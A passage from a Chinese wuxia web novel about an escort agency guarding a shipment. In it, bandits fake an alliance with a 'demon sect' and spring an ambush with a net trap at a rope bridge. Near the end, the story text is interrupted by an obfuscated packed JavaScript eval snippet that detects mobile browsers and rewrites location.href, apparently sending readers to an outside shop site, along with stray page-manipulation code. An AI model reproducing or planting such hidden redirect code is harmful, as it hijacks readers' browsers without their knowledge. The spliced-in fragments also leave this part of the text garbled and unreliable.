姬花青正听得入神,萨管家突然喊住一名仆从道:“哎,你往哪儿去?”那仆从道:“去马棚添草料。”萨管家道:“那儿我刚让严六过去了,你不用再去,让我想想哪里还缺人手……这样,你去总镖头那,问问后天去茶芫镇大约需要多少辆骡车。”那仆从答应后便离去了。萨管家这才得了空,对姬花青笑笑,道:“我这里杂事多,姬姑娘勿怪。” 他继续道:“可是好景不长,突然有一天,有人找上门来,要老爷他们立即离开鸿州。双方一言不合就动起手来,对方虽然武功不如老爷他们,但带来的人很多,一来双拳难敌四手,二来对方接连换人上阵,老爷他们体力逐渐不支,最终被打倒在地起不了身,那木牌也被砸了个稀巴烂。” “这时对方领头的人道:‘先开始让你们滚你们不滚,非要逼爷爷们出手,来人,把他们每个人的两只手都给我剁下来!’”萨管家看着前方道:“对于习武之人……哪怕不是习武之人来说,双手没了就相当于成了废人了,这些人心肠狠毒,走上前来就要斩去老爷的右手。这时忽然有人道:‘各位,有什么天大的事?不能坐下来好好说?’” 萨管家示意姬花青来到一旁的石凳上坐,自己也坐下来,道:“来人正是玉老爷,他走到这边,一眼就认出了那领头的人是鸿州一家镖局的镖师,玉老爷还找他们护过几次镖。” 姬花青听到这里,便知是同行不能相容而导致的矛盾了。 萨管家道:“因为是老主顾又兼着是大客户,这些人对玉老爷也还是存了几分薄面,玉老爷好说歹说,他们才离开,只是走之前仍是放话让老爷他们不能再在鸿州干镖行生意。等那些人走后,玉老爷吩咐下人给老爷他们裹伤,还问他们愿不愿意跟自己到茶芫镇去。老爷问:‘到茶芫镇去,做什么?’玉老爷说:‘到那去开镖局。’” “就这样,在茶芫镇,玉老爷给了当时还是个穷小子的老爷一大笔银两开设了第一家镖局子,跟着老爷一起来的那帮弟兄,有的愿意跟着老爷一起干,有的则想自己做总镖头,玉老爷也给了他们足够的银子。老爷感谢玉老爷的恩德,却也疑惑玉老爷为什么帮他们,玉老爷笑着说,我帮你们开设镖局,也是为我们这些商人自己着想,要是我们的货物都交给那些只能眼睁睁地看着镖货被劫的家伙,过不了几年,我的家当就都要赔空啦。你们有一身好武艺,该吃这碗饭。” “那之后,我们鸿羽镖局开得越来越红火,手下武艺高强的镖师越来越多,也有了不少老主顾,老爷从茶芫镇回到了鸿州,并将鸿羽镖局的总号移到了这里,这么多年过去了,当年欺负我家老爷的那些镖局早就不知到哪里去了,鸿羽镖局成了鸿州屈指可数的大镖局。” 姬花青听萨管家说起鸿羽镖局这段往事,内心也是唏嘘。虽然鸿羽镖局前期创业艰难,但好歹路越走越好,不像自己,拥有的不过是一段稀巴烂的往事,稀巴烂的人生,往回看一眼都觉厌恶。 无端地,她突然想起了另一个人,心想,在进入鄜城行使水西武林盟主的权力前,他经历了些什么?少年时的他,是怎样的一个人呢?她又想,我这次回到教中,是不是就要见到他了?他恨我吗?如果那个宋子期说的是真的,那么就是说他不很我了?可自己又为什么有些失落? “不管过了多久,老爷始终不忘当初玉老爷的救命与资助之恩,每次玉老爷和玉少爷来我们镖局时,总是热情款待,所以这次玉少爷来找老爷押镖,老爷也是一口答应下来。” 萨管家叹了口气,道:“不过不是人人都像我们老爷这样知恩图报,那些茶芫镇的镖局,多数也是当年在玉老爷的资助下开的,可玉少爷问了一圈,竟都为了不卷入麻烦而不肯帮忙,唉……” 姬花青听着这声幽幽的叹息,看向廊下灯笼中闪动的烛火,似是有些出神。 如此坐了一会,眼见时候不早,姬花青向萨管家告辞,回到了自己的住处。 姬花青喝酒虽不红脸,也不上头,但喝完后过一段时间便会感到极其困倦。方才酒宴上她被镖局众人敬了太多的酒,回到房间后倒在床上便陷入了沉睡。 48. 走镖(六) 第二天早上,姬花青是在雨声中醒来的。 到了四月份,雨水也逐渐多了起来。姬花青洗漱一番,便往屋外走去。 来到大厅外,姬花青听见厅内人声,便不忙进去,而是寻了个隐蔽的角落,静听大厅内是什么人在谈论什么事。 只听秦椿道:“所以,每一家镖局都不愿借出人手,是么?” 伙计们互相看了几眼,先后道:“是。” 大厅内一阵沉默。 白翡姑问那些伙计道:“你们有说要押的镖货是玉家的吗?” 那些伙计道:“说了,可他们硬是说镖师都在外面押镖,镖局腾不出人手,要么就是说镖师们最近告假在家,实在无法前来押镖。” 白翡姑愤愤道:“真是一群忘恩负义的东西,当初玉老爷把他们救下,资助他们开镖局,这下玉老爷有事需要帮忙,一个个都当了缩头乌龟了。” 玉剑坐在一旁,低着头没有说话。 姬花青心内暗道:“人之常情。” 一名伙计道:“福至镖局的孟总镖头听说了这趟镖的原委,本来还在犹豫要不要借人手给我们,后来听说皮寨主和魔教联合起来要劫这趟镖,当即就回绝了。” 姬花青听到“魔教”二字,浑身一震。 秦椿烦躁地摆摆手道:“说起来这又是一件棘手的事,他三乌寨怎么又和魔教搭上线了?” 厅内没人说话,是呀,三乌寨和水西魔教让人觉得八竿子打不上边,怎么搅到一块去了?谁也不知道原由。 叶小暑道:“这趟镖本来就极不好押,人手没借到,如今又得知来劫镖的匪徒不简单。” 苗镖头道:“既然眼下已经是这么个形势,也不必再说这些灭自己威风长他人志气的话了,都想想办法要怎么应对吧。” 秦椿道:“苗镖头说得在理,既然如此,我们还是按之前说的,明天出发去茶芫镇……” 姬花青本来正待听下去,忽听得身后有极细微的脚步声夹在沙沙雨声中,听到脚步声的同时,姬花青便将头转向后方,只见宋子期站在相隔二十多尺的廊门背后,刚刚踏出左脚。 宋子期见姬花青回头看向自己,心下一凛,想,果然好敏锐,玄同教当真个个是人才。 另一头姬花青也在疑惑,宋子期既然能使出像昨日那样精妙的封挡招式,照理说只要他想,就不会被自己轻易发现,且从他的脚步声听来,能感觉到他是故意放轻脚步,可为什么却一点潜行步法的影子都没有?姬花青想,宋子期是有意让自己发现他的。 她想多了。 见自己被发现,宋子期极小声地清了清嗓子,对姬花青比了个手势,示意她到自己这边来。 姬花青看了一眼大厅里面,镖局众人仍在商议,她只得过去,不知这位“大人”又有什么事要找自己。 姬花青跟着宋子期一路来到宋子期所住的房间内,宋子期先朝门两边看了看,再将门关好,两人走到屋子内侧,宋子期道:“我们得跟着镖局走。” 姬花青有些不可思议地看着宋子期,道:“为什么?昨天不是拒绝了他们吗?” 宋子期道:“情况有变。” 姬花青道:“可跟着镖队会浪费很多时间,还会多很多麻烦……”她想到方才听到的镖局众人的对话,心念电转,“难道……难道教内是要我们里应外合吗?” 宋子期一愣,道:“什么里应外合?” 姬花青心想,这是教内机密,看来宋子期不愿跟她这个曾一度叛教的人多说,可她很想知道更多相关的信息,于是道:“我教……是不是跟三乌寨合作了?教内要我们留在镖队,是不是要我们里应外合拿到镖货?” 宋子期心想,玄同教和三乌寨合作?玄同教为什么和三乌寨合作?不过,哎哟,这丫头也太会帮我找理由了,我还什么都没说呢,她就自己一股脑地想了这许多,于是沉着嗓子道:“嗯,你倒也聪明,难怪教主那么看重你。” 姬花青道:“可是……我教为什么要拉拢那个姓皮的?” 宋子期把脸一板:“这你就不必知道了,去吧,一会我去跟镖局那边说。” 姬花青只好从房间退出,想到往后的一个多月都要跟镖局的人一同度过,心里有些不快,她性子孤僻,向来喜欢独来独往,能跟雨馀凉同行这么久也是因为两人脾性相合,饶是如此,答应教雨馀凉武功后,有时她依然会觉得不便。姬花青心想:“不知镖队去临蓟走不走经过绵作的路?教内知道瑚庄的事了吗?” 其实宋子期又决定要和镖局的人一起走的原因是,昨晚他躺在床上思来想去,他虽然对玄同教没有恶感,但也知道玄同教的人行事有时不能用常理思考,尤其是在杀人方面,玄同教中人特别随意。那个姬花青虽然已经脱离玄同教,但在教中耳濡目染了不知多久,其行事风格究竟如何,实在很难揣测。且她不是笨蛋,万一在半路上发现自己是在骗她,她恼羞成怒起来,自己岂不死无葬身之地?和镖局的人共同走一截路,若姬花青要杀自己,自己也算是与镖局有雇佣关系,镖局说不定还能帮自己挡一下。 当宋子期找到秦椿时,后者还在大厅中与几位镖头商讨具体如何押这趟镖的事,听宋子期说完他和姬花青又要加入镖队后,苗镖头心头火起,这个姓宋的一会要这样,一会要那样,不是耍人么?本想发作出来将宋子期连同姬花青都骂一遍,又想到之后押镖还要需姬花青的帮忙,也只得将话咽了下去。 秦椿倒是显得很高兴,道:“姬姑娘肯加盟,于我们镖局是一大助益,我鸿羽镖局永远记得姬姑娘的恩情!” 宋子期心想,光记得姬姑娘的恩情,怎么不记下宋公子的恩情?姬姑娘还是我给你们唬,啊不,争取来的呢。 白翡姑、宋子期都舒了一口气,玉剑也是心花怒放,他从镖局的人口中听说了姬花青一人打倒了数十名匪徒的事,虽然其他镖局的人手没借来,但来了个姬花青,倒是比其他镖局的镖师更加让人感到稳妥。 宋子期走后,苗镖头道:“这个宋子期跟那位姬姑娘究竟是什么关系?怎么感觉又认识又不认识的呢?” 第二天丑正二刻,秦椿便带着镖局里的镖师、趟子手、伙计,连同姬花青、雨馀凉、宋子期,一同去往茶芫镇。众人先走水路,后改陆路。因为起得早,到了下午时,宋子期坐在镖车上困得东倒西歪,雨馀凉骑在马上,眼皮上下打架,姬花青骑着马,乍看上去倒没多困,却也不时打一个哈欠。如此马不停蹄行到天黑,才赶到茶芫镇。 到了玉府,玉剑先领着秦椿、苗镖头、白翡姑、叶小暑,以及来帮忙护镖的姬花青、雨馀凉、宋子期进后房去看望了玉老爷,只见玉老爷卧在床上,眼周乌青,秦椿见到这一幕,眼泪差点就掉了下来。玉剑凑到玉老爷耳边,告诉他鸿羽镖局接下了这趟镖,玉老爷干瘦的脸这才露出笑容。过了片刻,苗镖头、姬花青等人都觉得不便打扰,便就此告退,只留下秦椿和玉剑守在玉老爷床边。 姬花青一边从玉老爷房中退出来一边想,这个秦总镖头也是很有些义气,当初玉老爷救了他,资助他开镖局,如今就算可能砸了镖局的牌子他也要保这趟镖。很多人别说滴水之恩涌泉相报了,一开始感恩戴德地说要结草衔环报答恩公,过个几年几十年后恩公真遇上了麻烦,却装作不认识恩公这样的事,她也见过不知多少。 如此众人在玉府中盘桓一夜,第二日玉府家人和镖局伙计纷纷将镖货镖银装上镖车。 前日鸿州下雨,今日茶芫镇下雨,姬花青将背上的斗笠取下来戴在头顶。镖局伙计也给众镖师、趟子手分发斗笠,叶小暑见雨馀凉和宋子期没有遮雨的物什,也 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叶小暑笑道:“亘旗镖局是水西百年前的大镖局,因为我是水西的,所以知道一些,不过……”他略微收敛了笑意,“不过那镖局最后结局很惨,所有镖师一夕之间死于非命,听说人们推开镖局的门时,血腥气扑面而来,让人直欲作呕。里面遍地都是尸体,惨不忍睹。”饶是叶小暑已经押了很多趟镖,说到这时也不由得打了个寒噤,雨馀凉听来亦觉可怖。 叶小暑看向姬花青和雨馀凉,道:“你们听说过六年前水西照水帮灭门一事吗?” 雨馀凉道:“这件事我有印象,到现在都还不清楚是谁干的,也是一桩悬案了。” 姬花青道:“……听说过,怎么了,突然说起这件事?” 叶小暑道:“没什么,只是说到亘旗镖局灭门,突然想起这件事而已,这件事当时在水西也是大事件呢,跟亘旗镖局一样,也是一夜之间满门被灭,至今不知凶手是谁。不过跟亘旗镖局的案子比,照水帮灭门一案的主导者,其实还有点眉目。” 姬花青道:“江湖上知道凶手是谁了?” 叶小暑道:“只是猜测而已,不过人们都认为已经很接近甚至就是真相了。” 姬花青道:“是谁?” 叶小暑道:“就是咱们水西的盟主大人啊。” 雨馀凉道:“他身为盟主,为什么要去灭一个小帮派满门?还不让江湖上的人知道?” 叶小暑道:“照水帮安营扎寨的所在,地方比较特殊,也就是所谓的兵家必争之地吧,水西的聊卫之争,你们应该多少也知道,聊氏和卫氏都想将那块地盘据为己有,照水帮却又不依附于任意一方,所以卫氏就派人将照水帮灭了。因为灭人满门这种事,不应该是一个武林盟主的作风,何况卫尧觉灭人满门只是为了一己私欲,实在拿不上台面,所以一定不会让其他人知道是他干的。” 姬花青道:“为什么都怀疑卫氏,就没人怀疑一下是聊氏干的吗?” 叶小暑道:“聊氏虽然跋扈,但人们都觉得以聊以偲那个直来直往的性子,不像是能干出这种事来的人,整个事件的处理倒是更接近卫尧觉的风格,惯会暗地里阴人,为人不齿。” 姬花青听到这,心想:“怎么同样是伤害别人,却都觉得真小人比伪君子高贵?” 叶小暑长叹一声,道:“当初亘旗镖局那样风光也最终烟消云散,世事无常,真是令人感慨。” 雨馀凉听他说完亦是一般的想法,看着雨中的镖队,有些出神。 而姬花青虽对镖局押镖的事宜感到好奇,但她对那些拉车的骡子却似乎更感兴趣,她抓住一只骡子的耳朵轻轻抚摸,脸上竟不觉露出笑意,又将另一只手也放在骡子的脑袋上不断摩挲。 不一会秦椿领人将镖货镖银清点完毕,趟子手走在前面喊开镖号,众人这便出发了。 49. 走镖(七) 在茶芫镇去往临蓟必经之路上的一座吊桥旁,这吊桥建在两山之间,将两座山峰连接起来。孙六合扶了扶背上的铁锏,还是有些迟疑道:“你这法子能成么?” 闻八荒有些不耐烦:“一路上你都问过我好多遍了,能不能成,你看看不就知道了?” 孙六合在心里觉得这法子很弱智,但还是决定跟着闻八荒试一试,万一秦椿更弱智呢。 孙六合与闻八荒,一个使锏一个使流星锤,正是那日鸿羽镖局押镖归来时,在鸿州附近突袭镖队的那伙匪徒的领头两人。 这二人亦是三乌寨寨主皮逻宗的得力手下,那日铩羽而归后,两人向皮逻宗报告说本来他们就要成功了,结果半路杀出个程咬金,不仅秦椿的人头没拿到,兄弟们还都受了伤。 皮逻宗听他们拉拉杂杂一大篇说完,也没听明白将他们打伤的人究竟是谁,道:“所以那个半路杀出来的程咬金是镖局的人吗?鸿羽镖局什么时候来了这么一号厉害的人物?” 闻八荒道:“寨主,不是镖局的人,就是个过路的,非要来多管闲事,兄弟们这才栽了。” 孙六合对闻八荒道:“我一开始就说不要在白天行动,还是在大道上,总会撞着人,你看,本来好好的机会,就这样浪费了。” 闻八荒道:“老孙,你惯会马后炮,行动前我可没听见你这么说,谁知道这年头还有人爱行侠仗义呢?” 之后寨中又得到消息,说有一趟麻烦的镖要找鸿羽镖局接,鸿羽镖局正四处找其他镖局借调人手,以免路上镖货被劫。 于是孙六合站出来,对皮逻宗道:“寨主,我有一计,可以让秦椿死无葬身之地。” 闻八荒揶揄道:“一来就说能让人死无葬身之地,孙兄弟可真是智计百出的好军师呢。” 孙六合啐了一口,道:“闻八儿,你酸言酸语也要看场合,我和寨主说正事儿,你在旁边打什么岔?耽误了大事,大家都吃不了兜着走。” 闻八荒哼了一声,却也不再说话了。皮逻宗坐在椅上,手握住扶手再松开,道:“孙兄弟有何妙计?” 孙六合道:“和水西魔教联手。” 闻八荒道:“你疯了?和魔教那帮鬼怪联手?会把命给玩丢的!” 孙六合道:“当然不是真的要联手,能不能听我说完?” 皮逻宗陷入沉吟,同时示意孙六合接着说下去。 孙六合道:“我们放出消息,就说我们三乌寨和水西魔教联手,要劫鸿羽镖局的这趟镖货。本来以这趟镖的烫手程度,其他镖局就不一定会借出人手,再一听魔教两个字,绝对会避而远之,将关系撇得干干净净。但依那个秦椿的性子,既然已经答应了要保这趟镖,就不会反悔,他只能硬着头皮上路,那个时候我们在他们的必经之路上埋伏下来,再让一部分兄弟打扮成魔教中人的样子,等他们人一过来,就让兄弟们出动,他们见了后肯定先就被吓破了胆,无心战斗,我们要劫镖,难度岂不是小了很多?” 闻八荒道:“我怎么感觉你这个计划听起来还蛮不错,实际上到处是漏洞?” 孙六合道:“请讲漏洞。” 闻八荒道:“首先,你是不是太小看了鸿羽镖局的那些镖师?上次弟兄们和他们交手也都知道,这群人功夫不差,虽然你让一部分兄弟穿成魔教妖人的样子能起一定的威慑作用,但也未免想得太简单了。” 孙六合看向皮逻宗道:“寨主,我早说这人没什么头脑,你看,笨成这样。” 闻八荒闻言正要发作,孙六合先道:“谁说我们要杀人啦?” 闻八荒道:“我们的目标是杀了秦椿给三当家的报仇,如今你却说不杀人,这不是扯犊子么?” 孙六合道:“仇自然是要报的,只是不一定经我们的手。” 闻八荒道:“扯淡,扯淡,不经过我们的手,这还叫报仇么?” 孙六合啧了一声,道:“你先听我说完再发表意见,行不行?”他看向皮逻宗道:“这批镖货,是武林盟主那边要的,要是被劫,秦椿作为押镖的总镖头,肯定是要被问责的,轻则流放,重则杀头,不管怎样,鸿羽镖局都是别想开下去了。” 孙六合继续道:“我们此次行动,能杀了秦椿最好,若是杀不了他,劫走一部分镖货还是可以的,秦椿丢了镖,武林盟主那头怪罪下来,若是死罪,我们虽不能亲手报仇,但秦椿死了,鸿羽镖局倒了,我们还不爽快么?若是活罪,我们之后再想法子将秦椿杀了就是,那个时候杀他,可就容易多了。” 闻八荒道:“哼,说到底,秦椿还是有可能死在别人的手上。” 孙六合道:“能让秦椿死,已经是最好的结果了,太过贪心,什么都要,反而什么都抓不住。” 闻八荒冷笑一声,却也没提出反对意见。 孙六合道:“闻兄弟,你说我这计划全是漏洞,你方才只说到了一点,其他还有吗?” 闻八荒道:“当然有,放出我们和魔教联手的假消息,我看不妥。” 孙六合道:“哪里不妥?” 闻八荒道:“哪哪都不妥!魔教可不是好惹的,若是让他们知道我们假借他们的名头行事,恐怕后患无穷!” 孙六合道:“老闻,你未免太杞人忧天了,魔教远在水西呢,再说了,以他们现在那个一蹶不振的样子,还有闲心思来管这些事?他们怎会因为这么一件小事就兴师动众,跨过仲邑江千里迢迢地赶过来?就是他们有心,也怕是无力。” 闻八荒道:“还有一个问题。” 孙六合道:“请说。” 闻八荒道:“你见过魔教的人吗?知道魔教中人是什么打扮吗?” 孙六合道:“这个……”闻八荒提出的这个问题倒还真是个问题,他确实没见过真正的魔教中人。 闻八荒道:“那你让兄弟们怎生装扮?” 孙六合沉思一会,道:“我们没见过,镖局的人应该也是没见过的,让弟兄们装扮得妖邪些就行了。” 闻八荒道:“……好吧。” 孙六合又向皮逻宗道:“寨主,要做成这件事,属下还要向您借一件东西。” 皮逻宗道:“何物?” 孙六合道:“秦椿此前拜山时赠送给寨主的那只玉瓶。” 皮逻宗道:“哦?你要它何用?” 孙六合道:“我们将那玉瓶放在秦椿走镖的必经之路上,秦椿认出那玉瓶是他自己送给寨主的,一定会上前查看,我们就在那设下陷阱,秦椿一接近玉瓶,我们就发动陷阱,先将秦椿困住,镖局其他人群龙无首,再加上看到魔教教众,心里一慌,于我们更加有利。且将秦椿活捉,又比当场将他杀了更妙,那之后是先将他囚住也好,杀之前折磨泄愤也好,全凭我们处置。” 闻八荒道:“漏洞,又有漏洞,你怎知将玉瓶放在那秦椿就一定会过去,万一他让其他人先过去查看呢?” 孙六合道:“我又没说一定能用陷阱抓住他,不过是增加成功的概率而已。陷阱抓不住他,我们可以杀了他,杀不了他,我们可以将镖货劫去,借盟主的手处理掉他。我这备用计划层层嵌套,只是要确保秦椿死,鸿羽镖局的牌子就此砸了,好替我们三当家的报报仇,替寨主出口恶气。” 皮逻宗道:“嗯,就按孙兄弟的法子办吧。”便说着叫:“来人,去库房里把先前鸿羽镖局送的玉瓶找出来,交与孙头领。” ------------------------------ 回忆完前几日寨中的情形,此刻闻八荒看着眼前的玉瓶,这玉瓶是用一整块上等好玉打造而成,价值不菲,他正思考着要把这玉瓶放在道路中的哪个位置。 孙六合道:“你还怀疑我的计划呢,我说什么来着?将魔教与我们联手的消息放出去后,其他镖局就都不敢借给鸿羽镖局人手了。说真的,四方镖局那个姓蔡的,福至镖局那个姓牛的,还有些棘手,若他们也参与了这次押镖,莫说杀掉秦椿了,我们能不能将镖劫了去都还不好说。” 闻八荒道:“这件事上,算你立了功。” 孙六合道:“……你还在干嘛?” 闻八荒道:“在想将这瓶子放在哪啊,你说放哪里秦椿会更容易上前来看?” 孙六合道:“放吊桥口中间就行了呀,在这陷阱也好安装。” 等一切准备停当,三乌寨其他匪徒也在孙六合和闻八荒的指挥下埋伏在桥边树林、桥头巨石之后,孙闻二人亦在吊桥口旁边的巨石后选了个位置隐藏身形,静待鸿羽镖局的镖队到来。 孙六合道:“秦椿啊秦椿,这次你眼前全是死路,我看你怎么逃?” 两人等了一个时辰,镖队的影子却还没看见,闻八荒道:“我们会不会来得太早了?” 孙六合道:“来早点是对的,早做准备总比事到临头打急抓好。” 闻八荒竟无法反驳。 过了一会,有人影出现在道路那头,孙六合与闻八荒俱是一凛,孙六合低声道:“来了!” 那人越走越近,闻八荒道:“不对啊,怎么只有一个人?镖队呢?”而且那个人的身形怎么看上去有些眼熟? 等到孙六合与闻八荒能看清那人的脸时,二人刚紧绷起来的神经一下放松,同时又有些失望,两个人都心想:“怎么是他?” 原来此人是三乌寨中的喽啰,奉了皮逻宗的命令来给孙闻二人传话,他只知道两位头领在吊桥附近,不知道针对鸿羽镖局的具体计划,走到吊桥边上时,见有一个玉瓶放在路上,当即走上前去将瓶子拿起,拿在手中端详一阵后,觉得是天上掉下来的馅饼,就往自己怀里揣去。 闻八荒及时从石头背后站了出来,叫道:“赵二!” 那小喽啰赵二见是闻八荒,忙将衣襟掩好,道:“闻头领!”他露出一个傻子似的笑容,“皮寨主让我来给两位头领传个话。” 闻八荒一把将赵二扯到巨石背后,赵二乍见孙六合也在,还有好几个三乌寨的弟兄,有些吃惊,先把皮逻宗要他传的话跟孙闻二人说了后,笑道:“两位头领,你们不是来杀秦椿的么?这是在做什么?” 闻八荒伸出手对赵二道:“拿来。” 赵二心里略微有些慌,但面上还是不露声色,道:“闻头领……拿什么啊?” 闻八荒心道:“这个蠢货!这么多人就埋伏在石头后面,他还当我们没看到,况且道路中间一个玉瓶放在那里,怎么看怎么可疑吧。”于是对赵二道:“把你刚刚藏在身上的玉瓶拿出来,那是寨主的东西,是我们有意放在那的。” 赵二这才不得不将玉瓶拿出,交到了闻八荒手上,同时哭丧着脸道:“二位头领,小的是无心之失,不是有意要吞没财宝,骗二位头领的,求二位头领饶了小的……” 闻八荒让人去将玉瓶重新放在了原处,然后不耐烦地嘘了几声,低声道:“别嚎了!回去再说!现在先安静地待在这,不许发出声响。” 三乌寨众人又等了好一阵,眼看着太阳爬到众人头顶正上方的位置,四周仍然寂寂无声。闻八荒对孙六合道:“这鸿羽镖局走的也太慢了吧。” 孙六合道:“耐心,你急什么?” 就在这时,道路那头又冒出一个人影,人影肩上似乎还扛着什么东西,让人联想到镖旗之类的物事,孙六合忙竖直了身子,对闻八荒等人道:“留神!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977352|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那人摇摇晃晃地向吊桥这边走来,闻八荒看清来人后,绷直的身子又软了回去,道:“得,这次是个农夫。”只见那人是个喝得烂醉的老农夫,一身粗布麻衣打满了补丁,右肩上扛着一柄锄头。 那农夫正要走上吊桥,突然“咦”了一声,只见他通红的脸前后张望了一番,朦胧的醉眼意外灵活地左右来回转动几次,然后毫无征兆地,突然弯腰伸手一捞,携着那玉瓶匆忙跑上吊桥。 闻八荒“喂”了一声正要上前追赶,却听这边孙六合道:“来了!” 闻八荒忙回头望去,只见道路那头尘土飞扬,马蹄声、车轮声、脚步声错综交响,最前面的趟子手拿着一杆标旗,黑底的旗帜上绣着红色的鸿雁,镖旗在风中翻飞,更显得那鸿雁似是迎风翱翔,如同活过来了一般。 这正是鸿羽镖局的镖队,自己若此时追出,定会被镖局的人看见,伏击的计划便失败了,闻八荒只得放弃去追回玉瓶,继续蹲在石后,同时右手握上背后的铁锏。 不想赵二一心想着将功折罪,竟朝那醉醺醺的农夫追了过去,两人在吊桥上一前一后地奔走。 孙六合一惊,想将赵二叫回来却已经晚了,只得恨恨道:“成事不足败事有余的东西!” 鸿羽镖局的人显然注意到了有人突然从吊桥旁的巨石背后蹿出,众人见是一人在逃一人在追,似乎跟镖队并没有没关系,仍想继续前进,但秦椿却勒马止步,他身为鸿羽镖局的总镖头,押了几十年镖,经验极其丰富,往往押镖路上见到的的一些不寻常的情景,一开始看似不是冲着镖队来的,最后对方却都意在劫镖。 刚好在这时赵二追上了那喝醉的老农夫,将人按在桥板上又夺回玉瓶后,一边高举着玉瓶向孙闻二人展示一边笑着往巨石后奔回,但他奔到半途中时,却看见孙六合不停朝他摇头。孙六合是让他不要再过去了,不要显得石头背后有人,但赵二没看懂他的意思,大是不解,在吊桥上停住了脚步,朝巨石后方伸着脖子大声道:“什么?” 闻八荒和孙六合都觉得刚刚就该把赵二一掌打死。 秦椿等人见赵二望着桥边巨石后说话就已戒心大起,显然有人在巨石之后,但从镖队的角度一个人都看不到,简直就像有人专门埋伏在那一般。 除此之外秦椿看见,赵二手中高举着的脂白瓶子,无论是大小还是形制,似乎都跟自己之前送给皮逻宗的玉瓶一般无二。 秦椿心中警铃大作,刷的一声拔出宝刀,大声道:“看好镖货!抄家伙!”只听呛啷呛啷声不绝,镖师、趟子手、马背上的镖头,纷纷展开兵刃,一时间一片白光粼粼闪动。 秦椿这一声吼后,雨馀凉也将长刀拔了出来,注意着周围的动静,姬花青则仍站在原地没有动。 宋子期见情况不对,逐渐后退到了人群中心的位置。 孙六合见眼下形势,要打秦椿个措手不及的计划是泡汤了,干脆现在就上,于是一声令下:“弟兄们,劫走镖货,取秦椿项上人头,重重有赏!”说完带头从巨石后跃了出去。 但孙六合人尚在半空,姬花青就已闪身出现在了他面前。孙六合大惊道:“你!怎么你在这里……”下一刻姬花青的长刀便向他侧颈削来,孙六合忙提起流星锤抵挡,当的一声,半空中溅出几星火花,姬花青和孙六合分别落地。 姬花青甫一落地,提刀便向还没完全从石后走出的三乌寨匪徒冲去,动作间没有半点间隙。那匪徒见姬花青双眼直直盯着自己冲来,心内惧怕,慌乱间左手无意抓住了什么东西,一扯之下,只听姬花青“诶?”了一声,原来不知从哪里落下一张网,姬花青整个人都被网包住,吊上了巨石。 闻八荒刚才认出姬花青就是那天打抱不平的过路人后,先是大感意外,随后心道不妙,此刻见她被网在网里,大是松了一口气,对孙六合道:“老孙哪,没想到你的馊主意歪打正着,还是起了点作用。” 这便是孙六合设置的陷阱,先前那发动陷阱的绳索一直在他手边,之后他们提前暴露,不得不直接出战,本来以为那陷阱已经没有用处,不想阴差阳错之下,竟被一个手下发动了。 他本意是要以此来困住秦椿,没想到抓了个意想不到的人。 姬花青被困在网里,那网似乎随着她的动作越收越紧,姬花青手施展不开,无法挥刀斩断这网。其实,这网也是件宝贝,是由特殊材料绞成,就算是削铁如泥的利器也无法斩开,即使姬花青能够将刀举起,也斩不断这网。姬花青无法使用长刀,便运内力在手上,想要将网撕破,她扯住网眼向两边用力,结果那网不仅完好无损,她的手反而勒得生疼。 姬花青尝试了好几次都没能破坏这网,心想此网果然是用特殊材料制成,也不再浪费力气挣扎,一手抓住网眼,好不容易从后仰的姿态坐起身来,观察起下面的情况。 雨馀凉和秦椿见姬花青被困在网中,都想赶紧过来相救。秦椿一脚踹开一名三乌寨匪徒,正要向桥边赶来,不想又有三名匪徒同时围了上来,秦椿无法,只得跟这三名匪徒斗在一处。 偏偏这时又从路旁的树林中冲出黑衣蒙面的一伙人,看打扮,似乎跟这些三乌寨的匪徒不是一路,领头的黑衣人道:“秦椿,识相的话,就把镖货交出来!” 苗镖头扭头道:“这又是些什么人?” 领头的黑衣人哈哈笑道:“我们魔教要的东西,就没有拿不到的。” 白翡姑道:“这些就是魔教的妖人吗?” 苗镖头道:“真是百闻不如一见,果然一股妖邪之气,都不敢以真面目示人!” 另一头姬花青听见那领头的黑衣人说出“我们魔教”四个字,头抬了抬。 50. 走镖(八) 秦椿将刀往外一推,道:“管你们是魔教也好,什么也好,想要镖货,除非从姓秦的身上踩过去!” 雨馀凉担心姬花青被困在网中只能任人宰割,忙不迭地朝后者这边奔来,他担忧姬花青的安危,竟爆发出一股特别的力量和勇气,口中道着:“滚开!滚开……”一路上挥刀砍倒数名匪徒。好在几乎所有匪徒的注意力都在镖货和秦椿身上,所以阻挡雨馀凉的匪徒也不是非常多,雨馀凉竟就这样一路来到了吊着姬花青的巨石之下。 孙六合和闻八荒也正要去镖车那边,见雨馀凉一路砍杀到二人面前,也是略微惊讶。闻八荒看着大口呼吸,肩膀不断起伏的雨馀凉,对孙六合道:“老孙,你先去,这儿交给我。”孙六合看了雨馀凉一眼,又看向闻八荒道:“可别玩得太久,完事赶紧过来。”说完便向镖队的方向跃去。闻八荒道:“放心,很快就解决了,很快。”他说这句话时,孙六合已经走远,闻八荒看着雨馀凉,用平时跟人聊天的声音大小说出这句话,很显然,他是说给雨馀凉听的。 闻八荒向雨馀凉走近了数步,同时将双锏在两手挽了几个花,道:“小子,你不是鸿羽镖局的人吧,为什么要帮他们做事?” 雨馀凉将长刀竖起,并不答话,只是注意观察着闻八荒的出招方位、一举一动。 闻八荒见雨馀凉不答,叹了口气,突然暴起向雨馀凉冲去,道:“爷爷问你话呢!说话!”他冲到雨馀凉面前时,右手高举,铁锏就要向雨馀凉天灵盖砸下,同时左手握锏向雨馀凉腰间横扫。 这时一道声音从他们上方传来:“馀凉,绕后击其右肩!”姬花青见雨馀凉单独对上闻八荒,她前几日与后者交过手,知道以雨馀凉现在的实力不是闻八荒的对手,于是出言提点,在网中指导雨馀凉出招。 雨馀凉听了这句话,身形一转便绕到了闻八荒斜后侧,紧接着握住刀柄往后一砸,刚好砸在闻八荒右肩处。疼痛从闻八荒右肩一直传到整条右臂,同时不由自主地双锏相击,那铁锏十分沉重,震得闻八荒双臂痛麻难当。 